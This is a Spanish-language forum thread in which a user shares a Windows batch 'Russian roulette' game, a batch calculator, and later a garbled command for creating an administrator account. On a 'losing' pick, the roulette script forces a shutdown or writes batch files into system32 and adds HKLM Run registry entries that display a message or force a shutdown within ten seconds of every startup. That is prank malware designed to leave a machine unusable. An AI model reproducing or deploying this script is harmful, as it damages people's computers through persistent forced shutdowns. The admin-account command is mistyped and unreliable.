bueno a peticion del back a qui esta la ruleta rusa .....


Ruleta rusa:

@echo off
cls
title Ruleta rusa por
color 30

:start
cls
echo Hola, te comento que esto es una ruleta rusa en batch:
echo.
echo Reglas: 6 posibilidades. 1 es la incorrecta.
echo En caso de elegir la incorrecta se aplicara la pena.
echo.
echo.
echo Es simple. Quieres jugar? s/n
set rta1=
set /p rta1=
if "%rta1%"=="" goto error1
if %rta1%==s goto sig1
if %rta1%==n (goto no1) else goto error1

:error1
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto start

:no1
cls
echo Respeto tu decision, es un juego peligroso hasta la proxima..
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig1
cls
echo Muy bien. Estos son los niveles de riesgo:
echo.
echo 1 --- Nivel principiante
echo 2 --- Nivel medio
echo 3 --- Nivel avanzado
echo.
echo Elije uno y te dara detalles del juego antes de comenzar
set rta2=
set /p rta2=
if "%rta2%"=="" goto error2
if %rta2%==1 goto nw
if %rta2%==2 goto ama
if %rta2%==3 (goto pro) else goto error2

:error2
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig1

:nw
cls
echo Bien, por este nivel empiezan los primeros.
echo Consecuencias:
echo Si llegas a elegir la opcion falsa tu maquina se apagara.
echo.
echo Quieres jugar? s/n
set rta3=
set /p rta3=
if "%rta3%"=="" goto error3
if %rta3%==s goto sig3
if %rta3%==n (goto no3) else error3

:error3
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto nw

:no3
cls
echo Esta bien. Esto no es para ti
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig3
cls
echo Elige un numero entre 1 y 6
echo.
set nw1=
set /p nw1=
if "%nw1%"=="" goto errornw
if %nw1%==4 goto lose
if %nw1%==1 goto win
if %nw1%==2 goto win
if %nw1%==3 goto win
if %nw1%==5 goto win
if %nw1%==6 (goto win) goto errornw

:errornw
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig3

:win
cls
echo Bien te has salvado.
echo Pasa al nivel MEDIO si quieres mas adrenalina
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start

:lose
cls
shutdown -s -f -t 5 -c "Que mala suerte eh"
exit

:ama
cls
echo Bien, veo que eres algo curioso
echo Consecuencias:
echo Si llegas a elegir la opcion falsa siempre que inicies
echo tu pc, te saldra un cartelito que diga:
echo "Gracias por jugar a Ruleta rusa por ()"
echo.
echo Quieres jugar? s/n
set rta4=
set /p rta4=
if "%rta4%"=="" goto error4
if %rta4%==s goto sig4
if %rta4%==n (goto no4) else error4

:error4
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto ama

:no4
cls
echo Te comprendo es bastante molesto el cartel
echo Pero hay que arriesgarse en la vida alguna vez
echo.
echo
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig4
cls
echo Elige un numero entre 1 y 6
echo.
set ama1=
set /p ama1=
if "%ama1%"=="" goto errorama
if %ama1%==2 goto loseama
if %ama1%==1 goto winama
if %ama1%==4 goto winama
if %ama1%==3 goto winama
if %ama1%==5 goto winama
if %ama1%==6 (goto winama) goto errorama

:errorama
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig4

:winama
cls
echo Bien te has salvado.
echo Pasa al nivel AVANZADO si quieres mas adrenalina
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start

:loseama
cls
echo La verdad que tienes mala suerte
echo @echo off > %windir%\system32\cartel.bat
echo cls >> %windir%\system32\cartel.bat
echo msg * "Gracias por jugar a Ruleta rusa por ()" >> %windir%\system32\cartel.bat
echo exit >> %windir%\system32\cartel.bat
reg add "hklm\software\microsoft\windows\currentversion\run" /v Cartel /d %windir%\system32\cartel.bat /f
echo Tendras que soportar el cartel hasta que descubras como se quita
echo Presiona cualquier tecla para salir y empezar a buscar la solucion
pause > nul
start www.google.com .ar&exit

:pro
cls
echo VALIENTE este es el nivel de mayor riesgo
echo Consecuencias:
echo Si llegas a elegir la opcion falsa se apagara
echo tu pc y no podras tenerla encendida mas de
echo 10 segundos en tus proximos inicios de sesion
echo.
echo Realmente quieres jugar? s/n
set rta5=
set /p rta5=
if "%rta5%"=="" goto error5
if %rta5%==s goto sig5
if %rta5%==n (goto no5) else error5

:error5
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto pro

:no5
cls
echo Comprendo que es bastante riesgoso
echo Bueno, hasta la proxima entonces
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig5
cls
echo A ti si que te gusta estar en el limite !!!
echo.
echo Elige un numero entre 1 y 6
echo.
set pro1=
set /p pro1=
if "%pro1%"=="" goto errorpro
if %pro1%==3 goto losepro
if %pro1%==1 goto winpro
if %pro1%==4 goto winpro
if %pro1%==2 goto winpro
if %pro1%==5 goto winpro
if %pro1%==6 (goto winpro) goto errorpro

:errorpro
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig5

:winpro
cls
echo Sientete aliviado, TE HAS SALVADO
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:losepro
cls
echo Siento pena por ti : (
echo @echo off > %windir%\system32\malo.bat
echo cls >> %windir%\system32\malo.bat
echo shutdown -s -f -t 10 -c "TU HAS ELEGIDO ESTO" >> %windir%\system32\malo.bat
echo exit >> %windir%\system32\malo.bat
reg add "hklm\software\microsoft\windows\currentversion\run" /v Fucker /d %windir%\system32\malo.bat /f
shutdown -s -f -t 3 -c "Lo lamento..."
exit


ESTARIA CHIDO QUE LO CHEQUEN ESTE CODOGO ESTA MUY CHIDO ....


Y BUENO LES DEJO UNA CALCULADORA TAMBIEN ESA SI LA HIZE YO JAJA RECUERDEN QUE PARA VERLOS ES CON EL BLOC DE NOTAS U OTRO PROCESADOOR DE TEXTO PLANO Y LA EXTENCION .BAT O .CMD


@echo off


title jamd mi calculadora.
color fc
:menu
cls
echo.
echo ...................ªªªªBY JAMDªªªª........................
echo.
echo ========alunmo del ITR=========
echo.
echo.
echo 1.suma
echo 2.resta
echo 3.multiplica
echo 4.divide
echo 5.promedio
echo 6.area rectangulo
echo 7.area cuadrado
echo 8.area triangulo
echo 9.salir
set/p ja= elige la operacion que realizaras?
if %ja%==1 goto suma
if %ja%==2 goto re
if %ja%==3 goto mul
if %ja%==4 goto div
if %ja%==5 goto pro
if %ja%==6 goto rec
if %ja%==7 goto cua
if %ja%==8 goto tri
if %ja%==9 goto salir

:suma
cls
set/p j=escribe el primer valor ?
set/p b=escribe el segundo valor?
set/a c= j+b
echo gracias por sumar con jamd la suma es %c%
pause > nul
cls
goto menu

:re
cls
set/p j=escribe el primer valor ?
set/p b=escribe el segundo valor?
set/a c= j-b
echo gracias por restar con jamd la resta es %c%
pause > nul
cls
goto menu

:mul
cls
set/p j=escribe el primer valor ?
set/p b=escribe el segundo valor?
set/a c= j*b
echo gracias por multiplicar con jamd la multiplicacion es %c%
pause > nul
cls
goto menu

:div
cls
set/p j=escribe el primer valor ?
set/p b=escribe el segundo valor?
set/a c= j/b
echo gracias por dividir con jamd la division es %c%
pause > nul
cls
goto menu

:pro
cls
echo solo saca el promedio de 10 valores maximo , puedes dejar casillas sin rellenar
echo dependiendo de tu nesesidades "gracias"
set/p j=escribe el primer valor ?
set/p b=escribe el segundo valor?
set/p k=escribe el tercer valor?
set/p d=escribe el cuarto valor?
set/p e=escribe el quinto valor?
set/p f=escribe el sexto valor?
set/p g=escribe el septimo valor?
set/p h=escribe el octavo valor?
set/p y=escribe el noveno valor?
set/p r=escribe el decimo valor?
set/p as=escribe el numero de datos introducidos arriba?
set/a c= (b+j+k+d+e+f+g+h+y+r)/as
echo el promedio es es %c%
pause > nul
cls
goto menu

:tri
cls

set/p j=escribe la base ?
set/p b=escrbe la altura?
set/a c= j*b/2
echo el area del triangulo es %c%
pause > nul
cls
goto menu

:rec
cls
set/p j= escribe la altura?
set/p b= escribe la base?
set/a c=j*b
echo el area de tu rectangulo es %c%
pause > nul
cls
goto menu

:cua
cls
set/p j=escribe el valor de un lado ?
set/a c= j*j
echo el area del triangulo es %c%
pause > nul
cls
goto menu


:salir
echo gracias por utilizar mi calculadora jamd.......
pause
exit


_________________
sonrie mientras vives, y vive mientras sonrias
jeje humor de la psicologia ultima pagina

copion si y que

wow, ta largisimo el de la ruleta rusa
_________________

si pero que dices de el de la calculadora vaya pues solo el de la ruleta jajaja
_________________
sonrie mientras vives, y vive mientras sonrias
jeje humor de la psicologia ultima pagina

copion si y que

pos ta chula, pero no hace nada q no pueda hacer uno a mano con tiempo de sobra (sin usar numeros reales o enteros mayores de 20 claro esta)
_________________

jiji la neta que si el problema es que en bat no se utlizar flotantes es mas creo que no se puede ,,,
_________________
sonrie mientras vives, y vive mientras sonrias
jeje humor de la psicologia ultima pagina

copion si y que

eso si esta triste
_________________

vez vez ademas la mia soma 12343555566566+12334567778=6778899876767
a caray esta mal buuuuuuuuuuu u.u
_________________
sonrie mientras vives, y vive mientras sonrias
jeje humor de la psicologia ultima pagina

copion si y que

BUENO PUS AQUI UN ARGUMENTO PARA CREAR CUENTAS DE USUARIO

EN CMD

net ser haza ralito/addd

y se creara una cuenta de administrador

donde haza es el nombre de usuario y ralito es la contraseña

hasta otra .
_________________
sonrie mientras vives, y vive mientras sonrias
jeje humor de la psicologia ultima pagina

copion si y que